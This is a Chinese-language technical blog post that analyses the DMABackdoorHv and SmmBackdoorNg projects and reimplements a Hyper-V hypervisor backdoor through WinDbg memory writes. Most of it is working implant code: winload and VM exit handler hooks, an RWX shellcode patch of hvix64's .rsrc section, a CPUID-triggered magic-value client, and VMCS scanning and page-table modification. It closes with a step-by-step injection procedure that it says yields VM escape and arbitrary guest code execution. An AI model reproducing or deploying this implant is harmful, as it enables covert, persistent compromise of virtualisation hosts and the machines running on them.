虚拟化 · 2024年3月9日 0

Hyper-V 后门分析与实现

Hyper-v后门

参考以下两个项目:

DMABackdoorHv:基于DMA预启动的Hyper-v后门实现。

SmmBackdoorNg:基于SMM后门的Hyper-v后门运行时的植入。

该后门主要实现了对虚拟机管理程序的劫持,能够获取虚拟主机的执行状态(VMCS、物理内存、虚拟内存、寄存器等),并执行虚拟机逃逸。

DMABackdoorHv分析

这是UEFI引导后门的一部分,关于UEFI引导后门的原理这里就不提了(说起来好像还没整理这边的笔记…有空再整吧)

与UEFI引导后门类似,它在引导过程中对winload进行劫持,不但需要获取控制权,还需要获取hvix64——也就是Hyper-v的虚拟机管理程序镜像的加载地址。

通过Hook winload!BlLdrLoadImage()来获取vm image基址:

            LDR_DATA_TABLE_ENTRY *LdrEntry = *(LDR_DATA_TABLE_ENTRY **)arg_08;            

            // check for the Hyper-V image
            if (m_HvInfo.ImageBase == NULL && LdrGetProcAddress(LdrEntry->DllBase, "HvImageInfo") != NULL)
            {
                m_HvInfo.Status = BACKDOOR_ERR_HYPER_V_EXIT;
                m_HvInfo.ImageBase = LdrEntry->DllBase;
                m_HvInfo.ImageEntry = LdrEntry->EntryPoint;                                

                // locate and hook VM exit handler
                if ((m_HvInfo.VmExit = HyperVHook(LdrEntry->DllBase)) != NULL)
                {
                    m_HvInfo.Status = BACKDOOR_SUCCESS;
                }
            }

通过hook该函数,能够获取winload的各个导出函数地址,其中就包含HvImageInfo函数,指向hvix64的基址。然后只需将基址传入hyper-v Hook函数中,执行Hook功能。

HyperVHook函数中需要查找.rsrc段,用0填充该段,存放shellcode代码,并修改属性为可执行,使后门代码可正常执行:

 // find resources section by name
    for (i = 0; i < pHeaders->FileHeader.NumberOfSections; i += 1, pSection += 1)
    {
        #define SECTION_PERM (EFI_IMAGE_SCN_MEM_READ | EFI_IMAGE_SCN_MEM_WRITE | EFI_IMAGE_SCN_MEM_EXECUTE)

        if (std_strcmp((char *)&pSection->Name, ".rsrc") == 0)
        {
            if (pSection->Characteristics == SECTION_PERM)
            {
                DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Image is already patched\r\n");
                return NULL;
            }

            Buff = RVATOVA(Image, pSection->VirtualAddress);
            BuffSize = ALIGN_UP(pSection->Misc.VirtualSize, pHeaders->OptionalHeader.SectionAlignment);

            DbgMsg(
                __FILE__, __LINE__, __FUNCTION__"(): Resources section RVA is 0x%x (0x%x bytes)\r\n", 
                pSection->VirtualAddress, BuffSize
            );            

            if (BuffSize < PAGE_SIZE || (pSection->VirtualAddress & (PAGE_SIZE - 1)) != 0)
            {
                DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Invalid address/size\r\n");
                return NULL;   
            }

            // erase section contents
            std_memset(Buff, 0, BuffSize);

            // update section attributes
            pSection->Characteristics = SECTION_PERM;
            pSection->Misc.VirtualSize = BuffSize;
            break;
        }
    }

...
 // copy backdoor code
                    std_memcpy(Buff, (VOID *)&HyperVBackdoor, CodeLen);
                    Ptr += CodeLen;

原始的.rsrc段只是用来存放资源信息的,有0x400个字节的大小来放后门:

前0x2ac字节为backdoor代码,后面为劫持代码。首先调用backdoor,并恢复堆栈:

                    // save registers
                    std_memcpy(Buff + Ptr, RegPush, sizeof(RegPush));
                    Ptr += sizeof(RegPush);                    

                    // call of the backdoor code
                    *(Buff + Ptr) = 0xe8;
                    *(UINT32 *)(Buff + Ptr + 1) = JUMP32_OP(Buff + Ptr, Buff);
                    Ptr += JUMP32_LEN;                    

                    // restore registers
                    std_memcpy(Buff + Ptr, RegPop, sizeof(RegPop));
                    Ptr += sizeof(RegPop);

将原始的vm exit handler的前HookLen个字节存到Buff + Ptr 地址处:

                    // save original bytes of VM exit handler
                    std_memcpy(Buff + Ptr, Func, HookLen);
                    Ptr += HookLen;   

vm exit handler中的原始函数为:

Patch backdoor的最后5个字节,该偏移跳转到.text节区的vm exit handler的正常执行流程中:

                    // jump to the function body
                    *(Buff + Ptr) = 0xe9;
                    *(UINT32 *)(Buff + Ptr + 1) = JUMP32_OP(Buff + Ptr, Func + HookLen);

patch *Func的前5个字节,该偏移将跳转到.rsrc节区+2ac偏移处,执行backdoor代码:

                    // jump to the handler
                    *Func = 0xe9;
                    *(UINT32 *)(Func + 1) = JUMP32_OP(Func, Buff + CodeLen); 

劫持后门执行流程总结为:

1、劫持call vm exit handler地址,将其跳转至hyper-v backdoor代码中。

2、执行hyper-v backdoor代码功能。

3、跳转回vm exit handler中,正常执行接下来的功能。

植入后门代码根据不同控制码来执行功能:

// offset of the HVBD_DATA 
#define HVBD_DATA_ADDR (PAGE_SIZE - sizeof(HVBD_DATA))
//--------------------------------------------------------------------------------------
VOID HyperVBackdoor(VOID *arg_1, VOID *arg_2, VOID *arg_3, VOID *arg_4)
{
    // 2-nd argument is pointer to the backdoor section
    // 第二个参数指向backdoor节区地址
    PHVBD_DATA BackdoorData = (PHVBD_DATA)((UINT8 *)arg_2 + HVBD_DATA_ADDR);
    
    UINT64 ExitReason = 0;
    VM_GUEST_STATE *Context = NULL;

    // 从VM guest state获取vm exit时的寄存器值
    if (BackdoorData->Version >= 1809)
    {
        // 1-st argument is address of guest saved state pointer
        // 第一个参数是指向guest saved state pointer的地址
        Context = *(VM_GUEST_STATE **)arg_1;        
    }
    else
    {
        // 1-st argument is guest saved state pointer
        // 第一个参数是guest saved state指针
        Context = (VM_GUEST_STATE *)arg_1;
    }

    // read VM exit reason
    __vmx_vmread(VM_EXIT_REASON, &ExitReason);

    // check for request from the client
    if (Context->R10 == HVBD_VM_EXIT_MAGIC)
    {        
        EFI_STATUS Status = EFI_INVALID_PARAMETER;        

        UINT64 Code = Context->R11;
        UINT64 *Arg0 = &Context->R12;
        UINT64 *Arg1 = &Context->R13;
        UINT64 *Arg2 = &Context->R14;

...
...
       else if (Code == HVBD_C_VIRT_READ)
        {
            // read virtual memory qword
            *Arg1 = *(UINT64 *)*Arg0;

            Status = EFI_SUCCESS;
        }
...

在控制端中主要通过下面的backdoor_call功能实现与后门的通信:

.code

public backdoor_call

;
; magic R10 value to activate VM exit backdoor
;
HVBD_VM_EXIT_MAGIC = 5AD0432ADFC25B2Bh

backdoor_call:        

    push    r10
    push    r11
    push    r12
    push    r13
    push    r14
    push    r15

    mov     rax, 1

    ; setup backdoor input arguments

    mov     r10, HVBD_VM_EXIT_MAGIC
    mov     r11, rcx      
    mov     r12, [rdx]
    mov     r13, [r8]
    mov     r14, [r9]
    mov     r15, 0

    push    rcx
    push    rbx
    push    rdx    

    cpuid   ; call the backdoor

    pop     rdx
    pop     rbx
    pop     rcx

    ; check if R10 value was changed by the backdoor

    mov     rax, HVBD_VM_EXIT_MAGIC
    cmp     r10, rax
    je      _err

    mov     rax, r10

    ; copy output arguments

    mov     [rdx], r12
    mov     [r8],  r13
    mov     [r9],  r14

    jmp     _end

_err:

    ; backdoor is not present

    xor     rax, rax
    dec     rax

_end:        

    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     r11
    pop     r10        

    ret

end

将参数入栈,然后调用CPUID,触发vm exit,将控制码传递给位于虚拟机管理程序中的hyper-v后门代码。

SmmBackdoorNg分析

与UEFI引导后门不同,SMM后门植入是在运行时下完成的,运行时下winload已经释放,虚拟机管理程序也完成了加载,所有劫持操作都只能通过内存读写来完成。

但用于植入到虚拟机管理程序中的后门代码仍可使用DMABackdoorHv中的那一套,功能都是一样的。

基于SMM的Hyper-v后门植入流程如下:

  • 遍历查找VMCS
  • 获取HOST_RIP和HOST_CR3
  • 根据CR3地址查找已分配的低位内存和jmp指令,确定backdoor存放地址
  • 根据RIP获取vm exit handler和vm exit call的虚拟地址及物理地址
  • 获取低位内存的pte,设置内存页为可写
  • 查找jump点
  • 写入backdoor代码并设置jump点
  • 调用time.sleep(VM_EXIT_WAIT)等待vm exit并刷新TLB后完成植入

通过SMM后门代码来遍历物理内存,获取VMCS基址:

def get_hv_info():

    vmcs_addr = 0

    #
    # Some instructions from Hyper-V VM exit handler entry 
    # to validate potential HOST_RIP value
    #
    sign = [ '\x48\x89\x51\x10',    # mov     [rcx+10h], rdx
             '\x48\x89\x59\x18',    # mov     [rcx+18h], rbx
             '\x48\x89\x69\x28',    # mov     [rcx+28h], rbp
             '\x48\x89\x71\x30',    # mov     [rcx+30h], rsi
             '\x48\x89\x79\x38' ]   # mov     [rcx+38h], rdi

    print('[+] Searching for VMCS structure in physical memory, this might take a while...\n')
    
    print(' Scan step: 0x%.16x' % mem_scan_step)
    print(' Scan from: 0x%.16x' % mem_scan_from)
    print('   Scan to: 0x%.16x\n' % mem_scan_to)

    while vmcs_addr < mem_scan_to:

        # scan physical memory for VMCS candidate
        # 向SMM后门发送控制码,获取VMCS区域基址
        vmcs_addr = find_vmcs(addr = vmcs_addr if vmcs_addr > 0 else None)
...
...

SMM后门中的获取VMCS代码功能,通过调用内核api和smmcpu api获取到了VMCS revision ID、GDT base、IDT base,再通过内存遍历的方式来查找VMCS。

case BACKDOOR_CTL_FIND_VMCS:
        {
            UINT64 GdtBase = 0, IdtBase = 0, i = 0;
            UINT64 SearchAddr = Ctl.Args.FindVmcs.Addr;
            UINT64 SearchSize = Ctl.Args.FindVmcs.Size;

            // read basic VMX infomation register
            // 获取VMX信息寄存器的基址
            UINT64 RevisionId = __readmsr(IA32_VMX_BASIC);

            // extract 32 bits of VMCS revision ID value
            // VMCS结构的前32位为VMCS revision ID,用于识别VMCS结构区域
            RevisionId &= 0xffffffff;

            // addess sanity check
            if (SearchAddr % PAGE_SIZE != 0)
            {
                DbgMsg(__FILE__, __LINE__, "ERROR: Invalid memory address\r\n");

                Ctl.Status = EFI_INVALID_PARAMETER;
                break;
            }

            // size sanity check
            if (SearchSize % PAGE_SIZE != 0 || SearchSize < PAGE_SIZE)
            {
                DbgMsg(__FILE__, __LINE__, "ERROR: Invalid memory size\r\n");

                Ctl.Status = EFI_INVALID_PARAMETER;
                break;
            }

            // get GDT address
            // 调用SmmCpu的API来查询保存状态中的GDT地址
            Ctl.Status = SmmCpu->ReadSaveState(
                SmmCpu, sizeof(GdtBase), EFI_SMM_SAVE_STATE_REGISTER_GDTBASE,
                CpuIndex, (VOID *)&GdtBase
            );
            if (EFI_ERROR(Ctl.Status))
            {
                DbgMsg(__FILE__, __LINE__, "ReadSaveState() ERROR 0x%x\r\n", Ctl.Status);
                break;
            }

            // get IDT address
            // 调用SmmCpu的API来查询保存状态中的IDT地址
            Ctl.Status = SmmCpu->ReadSaveState(
                SmmCpu, sizeof(IdtBase), EFI_SMM_SAVE_STATE_REGISTER_IDTBASE,
                CpuIndex, (VOID *)&IdtBase
            );
            if (EFI_ERROR(Ctl.Status))
            {
                DbgMsg(__FILE__, __LINE__, "ReadSaveState() ERROR 0x%x\r\n", Ctl.Status);
                break;
            }

            Ctl.Args.FindVmcs.Found = 0;

            // enumerate all of the memory pages of specified region
            // 遍历内存
            for (i = 0; i < SearchSize; i += PAGE_SIZE)
            {
                UINT64 PageAddr = SearchAddr + i;

                // map physical memoy page at SMM virtual address
                // 映射物理地址到SMM虚拟地址
                if (PHYS_MAP(PageAddr))
                {
                    UINT8 *TargetAddr = MAPPED_ADDR(PageAddr);

                    // check for valid VMCS region
                    // 通过对比Revision ID来定位VMCS区域内存基址
                    if (*(UINT64 *)TargetAddr == RevisionId)
                    {
                        // scan VMCS region for known values
                        // 通过对比VMCS中已知的GDT和IDT基址来确定找到的VMCS区域正确
                        if (VmcsSearchVal(TargetAddr, VMCS_SEARCH_SIZE, GdtBase) &&
                            VmcsSearchVal(TargetAddr, VMCS_SEARCH_SIZE, IdtBase) &&
                            VmcsSearchVal(TargetAddr, VMCS_SEARCH_SIZE, ControlRegs->Cr0))
                        {
                            // potential VMCS was found
                            Ctl.Args.FindVmcs.Found = PageAddr;
                        }
                    }

                    PHYS_REVERT();
                }

                if (Ctl.Args.FindVmcs.Found != 0)
                {
                    // return to the caller
                    Ctl.Status = EFI_SUCCESS;
                    break;
                }
            }

获取了VMCS区域后,根据特征遍历0x100个字节,获取RIP和CR3的值:


        ptr, host_cr3_list, host_rip_list = 0, [], []

        # read VMCS contents
        data = bd.read_phys_mem(vmcs_addr, HV_MAX_VMCS)
        # 要找RIP和CR3的值最多在VMCS中遍历0x100个字节
        while ptr < HV_MAX_VMCS:
            
            # get single VMCS field
            val, = unpack('Q', data[ptr : ptr + 8])
            # 根据特征获取可能是RIP和CR3值的列表
            if val != 0:

                if val > 0xfffff80000000000 and val < 0xffffffffff000000:

                    # possible HOST_RIP value
                    host_rip_list.append(val)

                elif val < HV_MAX_CR3 and val % bd.PAGE_SIZE == 0:

                    # possible HOST_CR3 value
                    host_cr3_list.append(val)

            ptr += 8
        # 遍历列表
        for host_cr3 in host_cr3_list:

            for host_rip in host_rip_list:
            
                # try to get HOST_RIP physical address
                # 获取RIP的物理地址
                addr_phys = bd.get_phys_addr(host_rip, cr3 = host_cr3, eptp = None)

                if addr_phys is not None:

                    # read some code from the hypervisor entry
                    # 从RIP物理地址后读取0x1000个字节
                    data = bd.read_phys_mem(bd.align_down(addr_phys, bd.PAGE_SIZE), bd.PAGE_SIZE)

                    # check for VM exit handler signature
                    # 比较特征码,如正确则返回VMCS基址、rip、cr3地址
                    if data.find(''.join(sign)) != -1:

                        return vmcs_addr, host_rip, host_cr3

        # VMCS is not valid, continue scan
        vmcs_addr += bd.PAGE_SIZE

    return None

由于HOST_RIP设置了vm exit的虚拟地址,那么就可以用来获取vm exit handler call函数的物理地址和虚拟地址了。

HOST_CR3可以用于遍历低位内存,查找可存放backdoor的地址,并可以用来修改页表的权限。

读取一页HOST_RIP指向的内存,并通过特征对比来获取vm exit handler call的地址:

    code_virt = bd.align_down(host_rip, bd.PAGE_SIZE)
    code_phys = bd.get_phys_addr(code_virt, cr3 = host_cr3, eptp = None)

    assert code_phys is not None

    # read HOST_RIP code page
    code = bd.read_phys_mem(code_phys, bd.PAGE_SIZE)

    # find VM exit handler call by signature
    info = find_vm_exit_call(code)
    if info is None:

        print('ERROR: Unable to match VM exit handler signature')
        return -1

设置backdoor存放地址:

# find HvlpLowMemoryStub() page
    low_mem = find_low_mem(host_cr3)
    if low_mem is None:

        print('ERROR: Unable to find HvlpLowMemoryStub()')
        return -1

    print('[+] HvlpLowMemoryStub() is at 0x%.16x' % low_mem)

    # backdoor code location
    backdoor_addr = low_mem + BACKDOOR_OFFSET

根据cr3地址来找已分配的低位内存页和jump指令的位置,用于覆盖backdoor代码,低位内存页从0x1000到0x10000的物理地址和虚拟地址相同,甚至部分位置是可读写可执行权限,十分适合用来放backdoor:

def find_low_mem(cr3):

    for i in range(0, 0x10):

        addr_virt = bd.PAGE_SIZE * i
        addr_phys = bd.get_phys_addr(addr_virt, cr3 = cr3, eptp = None)

        # check for allocated and mapped low memory page
        # 查找已分配并映射好的低位内存页
        if addr_virt == addr_phys:

            # check for the short jump instruction
            # 查找short jump指令
            if bd.read_phys_mem_1(addr_phys) == 0xeb:

                return addr_virt
            
    return None

确定了backdoor存放地址后就是找vm exit call的位置了。但需要注意的这里的vm exit call地址需要为虚拟地址,需要用虚拟地址来计算偏移,修改jump点。

    # HVBD_DATA structure location
    hvbd_addr = low_mem + bd.PAGE_SIZE - HVBD_DATA_SIZE    
    # vm代码虚拟地址
    code_virt = bd.align_down(host_rip, bd.PAGE_SIZE)
    code_phys = bd.get_phys_addr(code_virt, cr3 = host_cr3, eptp = None)

    assert code_phys is not None

    # read HOST_RIP code page
    # 读取HOST_RIP代码页
    code = bd.read_phys_mem(code_phys, bd.PAGE_SIZE)

    # find VM exit handler call by signature
    # 查找vm exit handler
    info = find_vm_exit_call(code)
    if info is None:

        print('ERROR: Unable to match VM exit handler signature')
        return -1

    hv_version, offset = info

    # get address of VM exit handler call
    # 获取vm exit handler call的虚拟及物理地址
    vm_call_virt = code_virt + offset
    vm_call_phys = bd.get_phys_addr(vm_call_virt, cr3 = host_cr3, eptp = None)
    
    assert vm_call_phys is not None    

    # get VM exit handler call displacement operand
    call_op, = unpack('i', bd.read_phys_mem(vm_call_phys + 1, 4))

    # get address of VM exit handler
    vm_exit_virt = vm_call_virt + call_op + jump_32_len
    vm_exit_phys = bd.get_phys_addr(vm_exit_virt, cr3 = host_cr3, eptp = None)

    assert vm_exit_phys is not None

    print('[+] Host operating system version is %d' % hv_version)    
    print('[+] VM exit handler is at 0x%.16x' % vm_exit_virt)
    print('[+] VM exit handler call is at 0x%.16x' % vm_call_virt)  

获取low_mem内存页的pte,将其权限设置为可写:

    # make memory page writeable
    pte_val |= PT_RW    

    # update page table entry
    bd.write_phys_mem_8(pte_addr, pte_val)  

接下来就是构造shellcode,修改hook点操作了。

劫持流程总结如下图:

结合windbg调试来看劫持流程:

1、当触发vm exit时,hvix64会执行到vm exit call处,将call的偏移修改为14位的jump code处:

2、jmp code实现一个64位的远跳转,ff2500000000 机器码为跳转到下一条指令,然后下一条指令直接指向需要跳转到的绝对地址,也就是backdoor entry处。

3、backdoor entry首先将寄存器入栈,然后再调用backdoor addr,运行后门功能代码。

4、后门功能代码调用完成后,再恢复栈,然后跳转到vm exit handler,正常执行:

5、这样就实现了一个驻留在vm exit handler中的后门代码了,每当触发vm exit,都会触发后门。

基于windbg内存读写的hyper-v后门实现

分析完SMM后门发现,只要有物理内存和虚拟内存的读写权限以及hvix64.exe的基址就能完成这一套植入了。

那么就用windbg来试试看。

测试环境为Windows Server 2012 R2,也是DMABackdoorHv没有提供兼容支持的版本。

首先逆向Hvix64.exe,找到vm exit handler call的偏移:

加载pykd模块,可在windbg中运行py脚本:

kd> .load <PATH>\pykd_x64\pykd.dll
kd> !py <PATH>\backdoor-infector.py

pykd提供的内存读写api:

  • pykd.loadBytes(offset, size, True) : 读取addr, size, True为物理内存,False为虚拟内存
  • pykd.setByte(addr, byte): 写入指定字节,addr可为物理或虚拟内存

植入流程

1、需要传入的两个地址:hvix64.exe的基址(虚拟地址)和hvix64.exe .text段的物理地址,cr3为可选项。

这两个值都能直接通过windbg命令来获取:

2、这两个地址用于计算vm exit handler call的虚拟和物理地址:

3、根据找到的vm exit handler call地址,来实时计算vm exit handler的虚拟地址:

读取vm exit handler call指令的后4位,根据该偏移来计算vm exit handler的正确地址:

4、在低位内存中查找短jmp指令0xeb 的位置,用于放backdoor代码,backdoor addr即为low_mem+0x400:

5、获取pte,修改页表的读写权限。这段能省略,经过测试原本low_mem这段内存就有RWX权限了。

6、读取一页vm exit handler call的内存,查找至少14个字节的\xcc数据,用于存放jmp点。

7、构造backdoor code,先读取backdoor的原始数据,然后在后面添加reg_push 、call backdoor、reg_pop 等指令,backdoor code末尾还需加上跳转回vm exit handler的指令,来保证vm exit正常执行。

8、在low_mem后面构造HVBD_DATA结构体,供客户端来读取的交互数据用的。

9、修改14个字节的jmp点跳转到backdoor entry:

10、修改vm exit handler call到14个字节的jmp点:

11、等待vm exit触发,并刷新TLB:

这样一套下来后门植入就成功了,windbg测试输出:

进系统,本地执行客户端程序:

基本的hypervisor信息获取、物理地址虚拟地址读取转换、客户机任意代码执行都能实现。